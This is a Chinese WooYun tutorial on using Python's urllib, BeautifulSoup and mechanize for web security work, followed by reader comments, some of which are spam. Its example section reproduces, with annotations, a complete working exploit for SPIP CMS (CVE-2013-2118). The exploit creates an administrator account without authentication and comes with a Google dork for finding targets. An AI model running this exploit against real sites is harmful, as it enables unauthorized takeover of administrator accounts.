Python教程WEB安全篇

lxj616 2014-07-21 11:20:00
Web安全

0x00 概述

本文从实例代码出发，讲解了Python在WEB安全分析中的作用，以最基础的示例向读者展示了Python如何解析、获取、以及处理各种类型的WEB页面 系统环境：kali + beautifulsoup + mechanize，由于不涉及底层驱动设计，文中的示例代码可以在任意平台使用，当然无论什么平台都要安装好所用的插件。

0x01 利用python获取WEB页面

Python 2.7.6 (default, Nov 10 2013, 19:24:24) [MSC v.1500 64 bit (AMD64)] on win32
Type "copyright", "credits" or "license()" for more information.
>>> import urllib

首先引入urllib以继续下面的分析

>>> httpResponse = urllib.urlopen("http://www.baidu.com")

以百度为例获取http响应

>>> httpResponse.code
200

状态为200 OK

>>> print httpResponse.read()[0:500]

由于篇幅限制，只显示前500好啦

<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><link rel="dns-prefetch" href="//s1.bdstatic.com"/><link rel="dns-prefetch" href="//t1.baidu.com"/><link rel="dns-prefetch" href="//t2.baidu.com"/><link rel="dns-prefetch" href="//t3.baidu.com"/><link rel="dns-prefetch" href="//t10.baidu.com"/><link rel="dns-prefetch" href="//t11.baidu.com"/><link rel="dns-prefetch" href="//t12.baidu.co

看一下http响应的结构

>>> dir(httpResponse) ['doc', 'init', 'iter', 'module', 'repr', 'close', 'code', 'fileno', 'fp', 'getcode', 'geturl', 'headers', 'info', 'next', 'read', 'readline', 'readlines', 'url']

查看响应所对应的url

>>> httpResponse.url
'http://www.baidu.com'

同理可查看headers结构的内部结构

>>> dir(httpResponse.headers)
['__contains__', '__delitem__', '__doc__', '__getitem__', '__init__', '__iter__', '__len__', '__module__', '__setitem__', '__str__', 'addcontinue', 'addheader', 'dict', 'encodingheader', 'fp', 'get', 'getaddr', 'getaddrlist', 'getallmatchingheaders', 'getdate', 'getdate_tz', 'getencoding', 'getfirstmatchingheader', 'getheader', 'getheaders', 'getmaintype', 'getparam', 'getparamnames', 'getplist', 'getrawheader', 'getsubtype', 'gettype', 'has_key', 'headers', 'iscomment', 'isheader', 'islast', 'items', 'keys', 'maintype', 'parseplist', 'parsetype', 'plist', 'plisttext', 'readheaders', 'rewindbody', 'seekable', 'setdefault', 'startofbody', 'startofheaders', 'status', 'subtype', 'type', 'typeheader', 'unixfrom', 'values']
>>> httpResponse.headers.items()
[('bdqid', '0xeb89374a00028e2e'), ('x-powered-by', 'HPHP'), ('set-cookie', 'BAIDUID=0C926CCF670378EAAA0BD29C611B3AE8:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com, BDSVRTM=0; path=/, H_PS_PSSID=5615_4392_1423_7650_7571_6996_7445_7539_6505_6018_7254_7607_7134_7666_7415_7572_7580_7475; path=/; domain=.baidu.com'), ('expires', 'Tue, 15 Jul 2014 02:37:00 GMT'), ('vary', 'Accept-Encoding'), ('bduserid', '0'), ('server', 'BWS/1.1'), ('connection', 'Close'), ('cxy_all', 'baidu+776b3a548a71afebd09c6640f9af5559'), ('cache-control', 'private'), ('date', 'Tue, 15 Jul 2014 02:37:47 GMT'), ('p3p', 'CP=" OTI DSP COR IVA OUR IND COM "'), ('content-type', 'text/html; charset=utf-8'), ('bdpagetype', '1')]

试着简单解析一个

>>> for header,value in httpResponse.headers.items() :
    print header+':'+value    

bdqid:0xeb89374a00028e2e
x-powered-by:HPHP
set-cookie:BAIDUID=0C926CCF670378EAAA0BD29C611B3AE8:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com, BDSVRTM=0; path=/, H_PS_PSSID=5615_4392_1423_7650_7571_6996_7445_7539_6505_6018_7254_7607_7134_7666_7415_7572_7580_7475; path=/; domain=.baidu.com
expires:Tue, 15 Jul 2014 02:37:00 GMT
vary:Accept-Encoding
bduserid:0
server:BWS/1.1
connection:Close
cxy_all:baidu+776b3a548a71afebd09c6640f9af5559
cache-control:private
date:Tue, 15 Jul 2014 02:37:47 GMT
p3p:CP=" OTI DSP COR IVA OUR IND COM "
content-type:text/html; charset=utf-8
bdpagetype:1

>>> url = http://www.baidu.com/s?wd=df&rsv_spt=1

完整的url用来获取http页面

>>> base_url = http://www.baidu.com

基础url

>>> args = {'wd':'df','rsv_spt':1}

传参单独构造

>>> encode_args = urllib.urlencode(args)

Urlencode可以编码url形式

>>> fp2=urllib.urlopen(base_url+'/s?'+encode_args)

重新尝试以这样的方式获取WEB页面

>>> print fp2.read()[0:500].decode("utf-8")

由于页面是utf-8的，因此解码中文自己设置

<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>df_百度搜索</title><style data-for="result" >body{color:#333;background:#fff;padding:6px 0 0;margin:0;position:relative;min-width:900px}body,th,td,.p1,.p2{font-family:arial}p,form,ol,ul,li,dl,dt,dd,h3{margin:0;padding:0;list-style:none}input{padding-top:0;padding-bottom:0;-moz-box-sizing:border-box;-webkit-box-sizing
>>>

0x02 利用python解析html页面

首先安装beautifulsoup ，http://www.crummy.com/software/BeautifulSoup/

root@kali:~/Desktop/beautifulsoup4-4.3.2# python setup.py install
running install
running build
running build_py
creating build/lib.linux-x86_64-2.7
creating build/lib.linux-x86_64-2.7/bs4
copying bs4/dammit.py -> build/lib.linux-x86_64-2.7/bs4
copying bs4/testing.py -> build/lib.linux-x86_64-2.7/bs4
copying bs4/element.py -> build/lib.linux-x86_64-2.7/bs4
copying bs4/__init__.py -> build/lib.linux-x86_64-2.7/bs4
…………………………………………………………部分省略
copying bs4/diagnose.py -> build/lib.linux-x86_64-2.7/bs4
creating build/lib.linux-x86_64-2.7/bs4/builder
copying bs4/builder/_lxml.py -> build/lib.linux-x86_64-2.7/bs4/builder
copying bs4/builder/_htmlparser.py -> build/lib.linux-x86_64-2.7/bs4/builder
root@kali:~/Desktop/beautifulsoup4-4.3.2#

下面就可以使用bs4了

root@kali:~# python
Python 2.7.3 (default, Jan  2 2013, 13:56:14) 
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from bs4 import BeautifulSoup

导入bs4的包（之前安装过了）

>>> import urllib
>>> html = urllib.urlopen('http://www.baidu.com')
>>> html.code
200
>>> bt = BeautifulSoup(html.read(),"lxml")

Lxml解析大概是kali自带的，windows下自己装比较麻烦

>>> bt.title

标题

<title>百度一下，你就知道</title>
>>> bt.title.string
u'\u767e\u5ea6\u4e00\u4e0b\uff0c\u4f60\u5c31\u77e5\u9053'
>>> bt.meta
<meta content="text/html;charset=utf-8" http-equiv="content-type"/>
>>> bt.meta.next
<meta content="IE=Edge" http-equiv="X-UA-Compatible"/>
>>> bt.meta.next.next
<link href="//s1.bdstatic.com" rel="dns-prefetch"/>
>>> allMetaTags = bt.find_all('meta')

找出所有的meta数据标签

>>> allMetaTags
[<meta content="text/html;charset=utf-8" http-equiv="content-type"/>, <meta content="IE=Edge" http-equiv="X-UA-Compatible"/>, <meta content="0; url=/baidu.html?from=noscript" http-equiv="refresh"/>]
>>> allMetaTags[0]
<meta content="text/html;charset=utf-8" http-equiv="content-type"/>

>>> allLinks = bt.find_all('a')

找出所有的a标签（链接）

>>> allLinks[0]
<a href="http://www.baidu.com/gaoji/preferences.html" onmousedown="return user_c({'fm':'set','tab':'setting','login':'0'})">搜索设置</a>
>>> allLinks[1]
<a href="/" id="btop" onmousedown="return user_c({'fm':'set','tab':'index','login':'0'})">百度首页</a>

>>> for link in allLinks:
...     print link['href']
...

试着简单的解析一下

http://www.baidu.com/gaoji/preferences.html
https://passport.baidu.com/v2/?login&tpl=mn&u=http%3A%2F%2Fwww.baidu.com%2F
https://passport.baidu.com/v2/?reg&regType=1&tpl=mn&u=http%3A%2F%2Fwww.baidu.com%2F
http://news.baidu.com/ns?cl=2&rn=20&tn=news&word=
http://tieba.baidu.com/f?kw=&fr=wwwt
http://zhidao.baidu.com/q?ct=17&pn=0&tn=ikaslist&rn=10&word=&fr=wwwt
http://music.baidu.com/search?fr=ps&key=
http://image.baidu.com/i?tn=baiduimage&ps=1&ct=201326592&lm=-1&cl=2&nc=1&word=
http://v.baidu.com/v?ct=301989888&rn=20&pn=0&db=0&s=25&word=
http://map.baidu.com/m?word=&fr=ps01000
http://wenku.baidu.com/search?word=&lm=0&od=0

0x03 利用python+mechanize处理表单

root@kali:~# python
Python 2.7.3 (default, Jan  2 2013, 13:56:14) 
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import mechanize

导入mechanize

>>> br = mechanize.Browser()

构建一个浏览器实例

>>> br.open('http://www.17173.com')

打开一个有表单的页面

<response_seek_wrapper at 0x248db90 whose wrapped object = <closeable_response at 0x248d098 whose fp = <socket._fileobject object at 0x1f868d0>>>

>>> for form in br.forms():
...     print form
... 

<GET http://search.17173.com/jsp/news_press.jsp application/x-www-form-urlencoded
  <HiddenControl(charset=gbk) (readonly)>
  <TextControl(keyword=��������)>
  <SubmitControl(<None>=����) (readonly)>>
<searchask GET http://search.17173.com/jsp/game.jsp application/x-www-form-urlencoded
  <HiddenControl(charset=gbk) (readonly)>
  <TextControl(<None>=)>
  <TextControl(<None>=)>>
<voteform POST http://vote.17173.com/action/vote_process.php application/x-www-form-urlencoded
  <HiddenControl(vote_id=9624) (readonly)>
  <HiddenControl(vote_year=) (readonly)>
  <CheckboxControl(vote_item_9624[]=[49649, 49650, 49651, 49652, 49653, 49654, 49655, 49656])>
  <SubmitControl(<None>=) (readonly)>>
<GET http://search.17173.com/jsp/news_press.jsp application/x-www-form-urlencoded
  <HiddenControl(charset=gbk) (readonly)>
  <TextControl(keyword=��������)>
  <SubmitControl(<None>=����) (readonly)>>
>>> 

>>> br.select_form(nr=0)

选择要处理的表单

>>> br.form['keyword']='2013'

设置表单属性的值（TextControl）

>>> br.submit()

模拟浏览器提交表单

<response_seek_wrapper at 0x248dab8 whose wrapped object = <closeable_response at 0x249d950 whose fp = <socket._fileobject object at 0x243e5d0>>>
>>> br
<mechanize._mechanize.Browser instance at 0x242ff38>
>>>

0x04 实例分析

以下是一个CMS的管理员密码能被越权找回漏洞，原作者信息均完整保留

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python
# Exploit Title: SPIP - CMS < 3.0.9 / 2.1.22 / 2.0.23 - Privilege escalation to administrator account from non authenticated user
# Date: 04/30/2014
# Flaw finder : Unknown
# Exploit Author: Gregory DRAPERI
# Email: gregory |dot| draperi |at| gmail |dot| com
# Google Dork : inurl="spip.php"
# Vendor Homepage: www.spip.net
# Software Link: http://files.spip.org/spip/archives/
# Version: SPIP < 3.0.9 / 2.1.22 / 2.0.23
# Tested on: Windows 7 - SPIP 2.2.21
# CVE : CVE-2013-2118
'''
---------------------------------------------------------------------------------------------------------
Software Description:
SPIP is a free software content management system
---------------------------------------------------------------------------------------------------------
Vulnerability Details:
This vulnerability allows remote attackers to create an administrator account on the CMS without being authenticated.
To exploit the flaw, a SMTP configuration has to be configured on SPIP because the password is sent by mail.

'''
import urllib, urllib2
import cookielib
import sys
import re

def send_request(urlOpener, url, post_data=None):
//发送url（可选是否post）
   request = urllib2.Request(url)
//使用urllib2来处理http请求
   url = urlOpener.open(request, post_data)
   return url.read()

if len(sys.argv) < 4:
//简单的系统提示
   print "SPIP < 3.0.9 / 2.1.22 / 2.0.23 exploit by Gregory DRAPERI\n\tUsage: python script.py <SPIP base_url> <login> <mail>"
   exit()

base_url = sys.argv[1]
//网站地址
login = sys.argv[2]
//登陆地址
mail = sys.argv[3]
//越权发送邮件目的邮箱

cookiejar = cookielib.CookieJar()
//处理cookie以伪造身份
urlOpener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar))


formulaire = send_request(urlOpener, base_url+"/spip.php?page=identifiants&mode=0minirezo")
print "[+] First request sended..."
//发送HTTP请求


m = re.search("<input name='formulaire_action_args' type='hidden'\n[^>]*", formulaire)

//寻找目标表单

m = re.search("(?<=value=')[\w\+/=]*",m.group(0));


formulaire_data = {'var_ajax' : 'form',
                   'page' : 'identifiants',
                   'mode' : '0minirezo',
                   'formulaire_action' : 'inscription',
                   'formulaire_action_args' : m.group(0),
                   'nom_inscription' : login,
                   'mail_inscription' : mail,
                   'nobot' : ''
                  }
//构造请求中各参数
formulaire_data = urllib.urlencode(formulaire_data)
//进行url编码


send_request(urlOpener, base_url+"/spip.php?page=identifiants&mode=0minirezo", formulaire_data)
print "[+] Second request sended"


print "[+] You should receive an email with credentials soon :) "
//第二次发送请求完毕后目标已经完成

评论

C

Chu 2014-07-21 12:04:05

requests + lxml 足够了～

M

Manning 2014-07-21 12:23:19

我觉得这种文章还是不要再有了...

L

lxj616 2014-07-21 14:30:24

同感……之前本来还计划有两章，上周这第二篇写完觉得效果不好，于是就停掉了后面两篇
教程类型本身没有亮点，很难看的进去

D

Dean 2014-07-21 18:59:55

挺好的，简单易懂，ls的都是大牛

C

cooFool 2014-07-21 20:36:07

别啊。还是可以的，继续发吧。真的。

动

动后河 2014-07-21 20:40:44

可以来点python技巧
迭代器生成器之类的

L

lxj616 2014-07-22 14:45:00

还会继续发的，是更有意思的话题，真的

打

打酱油的小男孩 2014-07-23 12:07:47

>>> import mechanize
Traceback (most recent call last):
File "", line 1, in
ImportError: No module named mechanize
>>>
不是自带的模块唉。，感觉科普科普也挺好啊

奎

奎尼 2014-07-26 08:54:45

改名叫 Python类库使用案例 比较好。

大

大大灰狼 2014-07-29 12:53:48

很稀饭，希望楼主多发这样的文章

咖

咖啡 2014-07-30 21:14:00

不错，菜鸟也能看懂！

I

iskit 2014-08-01 11:08:01

汉，着文章还必须登录才能看。。。

M

Master 2014-08-01 11:13:04

迭代器生成器看py高级编程，多看些peb神马的
like this http://dongweiming.github.io/Expert-Python/#5
另外用 ipython 吧，至少交互下代码补全是很爽的.

L

lxj616 2014-08-01 17:46:25

太感谢了，我一直在找类似ipython的python工具，这下写脚本方便多了！

路

路人甲 2014-09-13 08:44:38

sigaretta elettronica prezzi e modelli...
Python教程WEB安全篇 | WooYun知识库...

路

路人甲 2014-09-16 00:09:52

whirlpool electric oven troubleshooting guide...
Python教程WEB安全篇 | WooYun知识库...

路

路人甲 2014-10-04 19:12:24

中国水泵...
Python教程WEB安全篇 | WooYun知识库...

路

路人甲 2014-10-05 11:03:28

louis vuitton designer inspired handbags...
Python教程WEB安全篇 | WooYun知识库...

路

路人甲 2014-10-07 21:55:37

俄羅斯海關...
Python教程WEB安全篇 | WooYun知识库...

imlonghao 2015-06-10 11:29:34

感觉像是 urllib 和 bs4 的用法简介而不是安全。。。。

L

lxj616

来自喵星的太空喵

twitter weibo github wechat

随机分类

MongoDB安全 文章：3 篇
无线安全 文章：27 篇
逻辑漏洞 文章：15 篇
二进制安全 文章：77 篇
数据分析与机器学习 文章：12 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由，你需要用s

N

Nas

师傅您好！_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好，为什么我也是用windows2016和win10，但是流量是smb3，加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录